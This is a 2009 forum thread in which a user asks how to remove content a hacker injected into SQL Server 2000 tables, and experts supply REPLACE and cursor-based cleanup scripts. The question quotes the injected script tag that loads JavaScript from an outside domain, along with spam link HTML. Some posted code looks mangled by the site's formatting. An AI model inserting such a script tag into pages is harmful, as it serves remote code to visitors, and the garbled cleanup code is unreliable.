?
Solved

SQL 2000 update field (delete a portion of the content)

Posted on 2009-12-30
9
Medium Priority
?
251 Views
Last Modified: 2012-05-08
I have the following (sql 2000/asp)

Table:  users
field :  name

There are thousands of records with different names in there. Problem is that after each name a code was inserted by a hacker, this code is:

<script src=http://www.bnrupdate.mobi/b.js></script>

So what was 'luis'  or 'john'  now reads:

'luis<script src=http://www.bnrupdate.mobi/b.js></script>'

and 'john<script src=http://www.bnrupdate.mobi/b.js></script>'

I need to run a query in this table to delete the extra code that was entered in the database.

How can I run an update in the users table to update the 'name' field to be what it is minus the code '<script src=http://www.bnrupdate.mobi/b.js></script>'   ?

Aleks
0
Comment
Question by:Aleks
  • 5
  • 4
9 Comments
 
LVL 75

Expert Comment

by:Aneesh Retnakaran
ID: 26146227
this should do , but try it on a backup first

update users
set name = replace (name,  '<script src=http://www.bnrupdate.mobi/b.js></script>', '' )
0
 

Author Comment

by:Aleks
ID: 26146348
ill run it locally first ... let you know shortly.
0
 

Author Comment

by:Aleks
ID: 26146666
It worked for some code but this one has quotes in it, how can i do the update without getting an error:

certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>the bluest eyes in texas paraody</a><a href='http://tests4all.org/5/'>sayings cheated off the rode</a><artner parts</a><a href='http://tests4all.org/8/'>printable kids iq test</a><a href='http://tests4all.org/9/'>c liv

That is what needs to be removed, so if I do the code below I get an error because of the ' signs inside the code inserted in the database.

update activities
set partylist = replace (partylist,  'certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>the bluest eyes in texas paraody</a><a href='http://tests4all.org/5/'>sayings cheated off the rode</a><artner parts</a><a href='http://tests4all.org/8/'>printable kids iq test</a><a href='http://tests4all.org/9/'>c liv', '' )

error is:

Msg 102, Level 15, State 1, Line 2
Incorrect syntax near 'http:'.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
Msg 132, Level 15, State 1, Line 2
The label 'http' has already been declared. Label names must be unique within a query batch or stored procedure.
0
Technology Partners: We Want Your Opinion!

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
LVL 75

Accepted Solution

by:
Aneesh Retnakaran earned 2000 total points
ID: 26146698
update activities
set partylist = replace (partylist,  'certifications are accreditedfreeit smoking tooltheuest eyes in texas paraodysayingseated off the rodeprintableds iq testcv', '' )
0
 

Author Comment

by:Aleks
ID: 26146710
Msg 8116, Level 16, State 1, Line 2
Argument data type text is invalid for argument 1 of replace function.
0
 
LVL 75

Expert Comment

by:Aneesh Retnakaran
ID: 26146793
0
 

Author Comment

by:Aleks
ID: 26147001
I am sorry, i dont follow   :(
0
 

Author Comment

by:Aleks
ID: 26147096
I converted the field to nvarchar and still got the same issue:

Msg 103, Level 15, State 4, Line 2
The identifier that starts with 'certifications are accredited</a><a href='http://tests4all.org/3/'>free quit smoking tool</a><a href='http://tests4all.org/4/'>t' is too long. Maximum length is 128.

0
 
LVL 75

Expert Comment

by:Aneesh Retnakaran
ID: 26147127
DECLARE
    @TextPointer BINARY(16),
    @TextIndex INT,
    @oldString VARCHAR(32),
    @newString VARCHAR(32),
    @lenOldString INT,
    @currentactivitiesID INT;
 
SET @oldString = 'certifications are accreditedhttp://''http://tests4all.org/3/''" rel="nofollowhttp://''http://tests4all.org/4/''" rel="nofollowhttp://''http://tests4all.org/5/''" rel="nofollowhttp://''http://tests4all.org/8/''" rel="nofollowcv';
SET @newString = '';  
 
IF CHARINDEX(@oldString, @newString) > 0  
BEGIN
    PRINT 'Quitting to avoid infinite loop.';
END
ELSE
BEGIN
    SELECT 'Before replacement:';  
    SELECT activitiesID, partylist FROM activities;  
    SET @lenOldString = DATALENGTH(@oldString)
 
      DECLARE irows CURSOR
      LOCAL FORWARD_ONLY STATIC READ_ONLY FOR
      SELECT activitiesID
      FROM   dbo.activities
      WHERE PATINDEX('%'+@oldString+'%', partylist) > 0;
    OPEN irows;
    FETCH NEXT FROM irows INTO @currentactivitiesID;
    WHILE (@@FETCH_STATUS = 0)
    BEGIN
        SELECT
            @TextPointer = TEXTPTR(partylist),  
            @TextIndex = PATINDEX('%'+@oldString+'%', partylist)
        FROM dbo.activities
        WHERE activitiesID = @currentactivitiesID;
        WHILE
        (
            SELECT PATINDEX('%'+@oldString+'%', partylist)
            FROM dbo.activities
            WHERE activitiesID = @currentactivitiesID
        ) > 0
        BEGIN
            SELECT @TextIndex = PATINDEX('%'+@oldString+'%', partylist)-1
            FROM dbo.activities
            WHERE activitiesID = @currentactivitiesID;
            UPDATETEXT dbo.activities.partylist @TextPointer @TextIndex @lenOldString @newString;
        END
        FETCH NEXT FROM irows INTO @currentactivitiesID;
    END
    CLOSE irows;
    DEALLOCATE irows;
    SELECT 'After replacement:';
    SELECT activitiesID, partylist FROM activities;
END
0

Featured Post

NFR key for Veeam Backup for Microsoft Office 365

Veeam is happy to provide a free NFR license (for 1 year, up to 10 users). This license allows for the non‑production use of Veeam Backup for Microsoft Office 365 in your home lab without any feature limitations.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Lotus Notes has been used since a very long time as an e-mail client and is very popular because of it's unmatched security. In this article we are going to learn about  RRV Bucket corruption and understand various methods to Fix "RRV Bucket Corrupt…
What we learned in Webroot's webinar on multi-vector protection.
In this video, Percona Solution Engineer Dimitri Vanoverbeke discusses why you want to use at least three nodes in a database cluster. To discuss how Percona Consulting can help with your design and architecture needs for your database and infras…
In this video, Percona Director of Solution Engineering Jon Tobin discusses the function and features of Percona Server for MongoDB. How Percona can help Percona can help you determine if Percona Server for MongoDB is the right solution for …

839 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question